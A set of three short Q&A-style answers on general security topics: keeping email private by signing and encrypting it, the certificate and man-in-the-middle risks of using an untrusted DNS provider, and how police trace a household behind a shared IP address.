It's a good rule of thumb to assume that any email that you send becomes public.
If you want to preserve the integrity - sign it.
If you want to make sure that no one else can read it - use encryption.


Which security risks are associated with alternative DNS providers?

In addition to the risks that you've noted about being returned, it's possible that access to SSL sites could also be jepordised in this scenario in a couple of cases.

If you access any SSL sites who don't use correctly issued certificates it would be difficult to differentiate between the invalid certificate warning you usually get and the one that you're getting with a malicious DNS provider
If the attacker is able to get access to a CA certificate that your browser trusts they would be able to MITM SSL connections without this being obvious.  This scenario is only likely in the case of high-end attackers (e.g. government level) who can either compromise a a CA or persuade one to issue a CA certificate.

That said if you're generically looking for an alternate DNS provide you could consider Google public DNS depending on how much you trust Google, this could be a good option.


Can the Police trace an internal user which is behind a shared IP?

Since the ISP knows the owner (the one who pays the bills) and street address of the shared IP address police will likely start there. They might simply confiscate the systems in this home and question the inhabitants for more information, i.e. do it the analogue way and not try to somehow trace some internal computer back through the internet.